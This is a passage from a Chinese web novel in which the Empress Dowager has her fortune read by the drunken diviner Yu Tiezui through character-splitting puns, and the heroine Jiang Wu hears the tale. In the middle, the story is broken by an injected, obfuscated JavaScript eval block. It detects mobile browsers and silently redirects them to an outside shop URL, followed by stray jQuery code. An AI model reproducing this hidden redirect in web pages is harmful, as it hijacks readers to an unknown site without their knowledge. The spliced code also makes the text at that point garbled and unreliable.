侍卫来报,一字不漏的说了太后在青岭京郊吃了闭门羹后又得余铁嘴测字的经历。
姜芜听得入神。
那侍卫倒有几分说书的天份,故事娓娓道来,顿挫抑扬,还遗留悬念,引得姜芜连连赞叹。
三日前太后绕道去了青岭京郊,找那余铁嘴测一测福祸。不曾巧,余铁嘴在外处觅酒,一夜未归,到第二日晌午才醉醺醺的从镇上往回走。一入家门就看到浩浩荡荡的一队车马。
他年轻时也经历过大风大浪,曾被无数达官贵人争先恐后相邀,见惯大场面。于是乎对这般阵仗也视若无睹,径直越过太后的车走进屋。
说是屋子,其实就是一处破败的草棚,四处八面的漏风,只比沃野千里的旷野遮风挡雨点。
太后嫌弃,眼里心底的流露出不悦,加之纡尊降贵的让她等了一夜,心情颇不耐烦。若不是老太监劝下,太后早发飙让人砍了他。
进了屋,太后被余铁嘴的无礼行为弄得恼怒,隔着帷帽都能感觉到她的怒火。
只是余铁嘴这人放肆逍遥惯了,一视同仁的对所有人无礼。毫无规矩的卧在榻上,怀中抱着酒壶,作势要瞌睡。
老太监见太后消磨了耐心,上前推搡着余铁嘴,将他从梦中拉回。在他耳边浅语几句,好说歹说,余铁嘴才起了身,一边往嘴里灌酒,一边余光朝太后撇去。
雍容华贵,气度非凡。但眼缘不好,浑身戾气,还是个气量小的,睚眦必报。
余铁嘴啧吧着嘴,回味无穷的嗅了嗅酒壶,睁一只眼往酒壶看,完了酒壶往外倒,一滴不落的滴入他的口中。
“可惜了,没酒了。”余铁嘴将老太监的好言好语当做耳旁风,下了榻,挪步到太后对面坐下。
太后厌恶他无礼,粗俗,不懂礼法。蓬头垢面的浑身酒气。她皱眉,蜷起手指,正要发怒,被老太监化解。
老太监服侍太后多年,对太后的脾性了无指掌。这会儿只一个动作就知道太后是忍耐到了极限。
他上前哑着声音道∶“先生莫怪,知道先生规矩,特此备下薄礼,请笑纳。”
老太监脾性好,人也随性,好相处,在宫中八面玲珑,人缘颇高,是个热心肠,谁人见了都打心底的尊敬,叫一声“康公公”。
他让人奉上从京都搜罗来的几坛好酒,刚进门,扑面的酒香让余铁嘴神魂颠倒,顿时改了脸色。
“这是洛阳丰酒,尧山尹酒,羊都乌尘酒!”余铁嘴喜笑颜开,凑到酒坛前心驰神往,还没喝就要醉了。
嘴里连连称赞∶“好酒,好酒!”心里止不住兴奋。
当代名酒,寻常人能见到其中一坛都要靠机缘,能品上一盏更是人生无憾。如今三坛举世名酒就在眼前,对一个嗜酒如命的酒鬼来说,简直是老鼠掉进蜜罐,舍不得走了。
在美酒面前,一切规矩都是狗屁。
余铁嘴回座,修整外形,披了件还算干净的外袍,已经洗得发白,还有许多补丁。这是他最体面的衣裳了。
“夫人恕罪,等久了吧,家里没什么好茶,喝点清酒暖暖身体吧。”余铁嘴拿出一坛藏了好久的佳酿,本来打算年后再喝。倒了两碗,自己小口抿着。
太后不屑,目光落到碗上的缺口。
老太监立刻上前,道∶“先生客气了。我家夫人慕名前来,想求先生解惑。”老太监脸上时刻盈着笑。话说伸手不打笑脸人,余铁嘴看老太监也觉得亲近。
眼睛从美酒上移开,心知肚明,道∶“请夫人说一个字。”
老太监旁的一个官员,膀大腰粗,身材短小,一脸憨货,神情痴痴傻傻。从进门到现在一直跟在太后身侧,苦大仇深。
这会儿上前,开口道∶“我说一个“犬”字,请先生测算。”他苦丧着脸,看了院里狂吠的狗。被老太监眼神提醒,收起了神色。
胖官员是有名的关系户,安如海的侄子,安如海因盗用玉玺获罪,本来牵连家族,被太后保下,这才免去了胖官员的死罪。
只是如此一来,胖官员失了靠山,本来就资质平平,一路靠着安如海才仕途亨通。安如海一死,他的仕途也就到头了。
余铁嘴寻声音看去,大狗旁堆了两只瓷器,瓷器中放了金银。虽然他不爱这些凡俗物,但还是被眼前的财大气粗咋舌。
这能买多少好酒啊!
余铁嘴沉思后,道∶“大人家中最近可是出了变故?”胖官员脸色一沉,刚收起的丧脸又耷拉起来,面色灰沉沉,脸上也一副生无可恋的表情。
和老太监对视一眼,几乎脱口而出∶“康……康老。”
老太监递给他一个止住的眼神,他才压下心防,问道∶“先生如何见得?”
安如海死了,太后虽保下了他,但他始终千万提吊着心。万一哪日没了太后庇佑,陛下查起来,迁怒到他,那时候他该怎么自保?
而且现在陛下着手贪墨的事,从前他倚仗安如海得势,横行霸道,行贿受禄不少。
他肉眼可见的忧心忡忡,这几日可把他愁坏了,身上的肥肉也少了几斤。
余铁嘴盯着胖官员,又看了眼一旁的美酒,关切的道∶“至亲离去,大人心中必定是痛心至极。”
这一下更说到胖官员心坎,积累了多日的情绪快要爆发,忍着泪。老太监见他有收不住的气势,忙将他推搡到屋外,免得叫太后见了心烦。
一到屋外,胖官员泪如决堤,蹲在墙角抹着泪,嚎啕哭泣。一层层肥肉也随他哭泣的律动上下起伏。
老太监进了屋,问∶“一个“犬”字,先生如何剖析出的呢?”
余铁嘴道∶“屋外有犬,犬旁有瓷器,瓷器为口,两口成“哭”,“哭”同“泣”,有哭泣之意。而仓颉造字,解释“哭”的含义,说“众口哭于桑枝之下”,古语里,“桑”又是“丧”。种种说来,那位大人应当是刚历经肝肠寸断的大事。”
老太监频频点头,余光望向太后,等太后示意。
太后若有所思,手指轻轻扣动桌延。
老太监上前,“我也说一字,劳请先生测算。”
余铁嘴不以为意。
老太监想了会儿,道∶“也是一个犬字。”
太后神情忽松。
余铁嘴道∶“这位大人可是不一般呐。”
老太监心中倏忽,不求甚解。
“我与老钱报的同一个字儿,怎么还有两种解释?”老太监尊敬的问。他到不觉得方才余铁嘴的分析让他对“犬”字产生晦气。
只要太后满意,什么晦不晦气都得靠边儿。
余铁嘴摇摇头,越发的高深莫测,“当然不同。不仅不同,还有天壤之别。”
老太监心中一惊,问∶“请先生赐教。”
余铁嘴也不隐瞒,只想快些结束,道∶“方才大人报字时,屋外落了雨,侍从将瓷器搬到廊檐下,也就是“犬”旁。加之原本的两口瓷器,一共四口。四口成“器”,器,乃器重之意。”
“大人该是深受主家信任。“器”字,上口,下口,上传下达,能坐这个位置的,无非两种。普通人家里叫做管事。到了朝廷,叫通政司,司礼监。至于大人坐到哪个位置,老朽不敢妄议。”余铁嘴为自己再倒上一碗,嗅了清香,才不舍得的小口抿着。
这时太后已经信了余铁嘴有几分本事,道∶“先生可收过弟子?”
余铁嘴若有所思,片刻后回答∶“修道修心,我们一生行径洒脱,不受束缚,四海一家修道士,亦师亦友,至亲至善。”
太后一句“好一个亦师亦友,至亲至善”,遂开尊口,道∶“先生的本事让人敬佩。我说一字,请先生测算。”
余铁嘴∶“请。”
太后说了个“目”字。
余铁嘴愁眉苦脸,望着破陋着风的屋外看了许久。雨越下越大,过了会儿便雨雪交加。
他这屋子能坚持过完冬吗?
罢了罢了,此生得名酒相伴,过不过得了冬都无甚在意。
余铁嘴道∶“夫人是在为钱财的事发愁?”
太后沉默。
虽然国库缴获不少赃银,但多用到前线,能使出用作陵寝修建的,不会太多。她看皇帝,似乎有从简的意思。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13259236|139802||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
太后问∶“说的目字,怎么谈到钱财了?”
余铁嘴∶“夫人请看,这八枚铜钱。”他把八枚铜钱齐齐整整的摆了一排,太后不解。
修建陵寝确实要花一大笔钱,而她愁的是,国库无钱。
太后∶“这是何意?”
余铁嘴∶“八枚铜钱,目下加个八字,不正是“貝”字。古时以貝为财。所以老朽断定,夫人是为钱财的事伤神。”
不过他神情疑惑,不解的问∶“看夫人气质不凡,是大户人家,怎么还会忧心钱财的事?而且府中很快将出现或是已经出现无钱的征兆。”
太后更信了余铁嘴,听得云里雾里,却觉得余铁嘴句句是玄机。
“先生何以见得?”太后问。
余铁嘴道∶“夫人请看,这八枚铜钱乃这屋中所有,不是你的,也非我的,或许今日还在,明日便不知去到何方。于是乎,这目下八字,隐而不现,是无钱的征兆。”
他将八枚铜钱收起,桌面上干干净净。
“不过夫人不必急于现在。操之过急往往适得其反。夫人忧心的事不如等上一等,或许就峰回路转了。”
老太监在太后旁耳语几句。
太后问余铁嘴要等到什么时候。余铁嘴让她再报一字,一字测一事。太后遂报一“倜”字,一人一周的倜字。
余铁嘴望向三坛名酒,难怪能如此大手笔。
他道∶“夫人身份尊贵,老朽失礼了。”
为了三坛名酒,余铁嘴也算是折腰了。
卑躬屈膝。
太后蹙眉,他们已经低调行事,除了院里的四口瓷瓶以及瓶中的金银,就数这三坛酒还有些价值。
她问∶“怎么说?”
余铁嘴∶“夫人是人上人,老朽妄自揣测,夫人当是那皇城中坐高位的。有如日中天的鼎盛之气。”
这话到和他那徒弟说的不差,却更详尽。老太监已经被惊得瞠目结舌。
老太监朝余铁嘴躬了一身,道∶“请先生明说。”
余铁嘴将最后一点清酒倒出,恋恋不舍的小口小口下咽。但看了旁的三坛名酒,也不可惜了。
“倜,周旁有人。如今我国国号为周,常人要有避讳,而能站在大周旁的人,除了那皇城中的两人,还有谁会更尊贵?”
“不愧是铁嘴,剖析得像模像样。”太后浅笑。
道∶“敢问先生,可算出来最佳时日?”
余铁嘴深思后,道∶“周字里头,十一为土,夫人是有大动土木的打算。”
“不过,”余铁嘴蘸了酒在桌面上写了个“周”字,指着“周”字中的“口”说∶“众口铄金,夫人若是在此事大兴土木必定遭到众人反对,落了下乘。”
“严重的,可能引起暴乱。”
“暴乱?”太后忍不住吃惊。
“吉日也在这字中。”余铁嘴指着上面的土字,道∶“十一为土,土下为口,能压住众口铄金。十一就是夫人等的良辰吉日。”
“要等到明年?”太后似有不满,却对余铁嘴的话深信不疑。
余铁嘴点头。
太后又问了些近日做事能不能成这样的问题,余铁嘴一一解答,只说存了风险,量力而为,小心为上,不会有性命之忧。
太后一行人留下金银和美酒离去。第四日时回到了太岳山脚下。
沈清安的毛病缓解,能下床,能走动,只是要裹着厚厚的大氅,捂得严严实实。姜芜调侃说他这是给太后递了把柄。
不过太后却没留意到沈清安,从青岭京郊回来后沉默寡言,连颐指气使的姿态的收敛了。
姜芜疑心她在青岭京郊受了什么刺激?
她挽着沈清安的手臂问∶“余铁嘴真有这么神奇?连太后这样狡猾多诈的人都被治得服服帖帖?”
“要不你也去?”沈清安说。
姜芜摇头,“我只是十分好奇,这天道究竟是什么道?”
第五日时,雪停了,难得有个晴天,一行人简装上山。不过姜芜没有步行上去,被沈清安拉着上了步撵。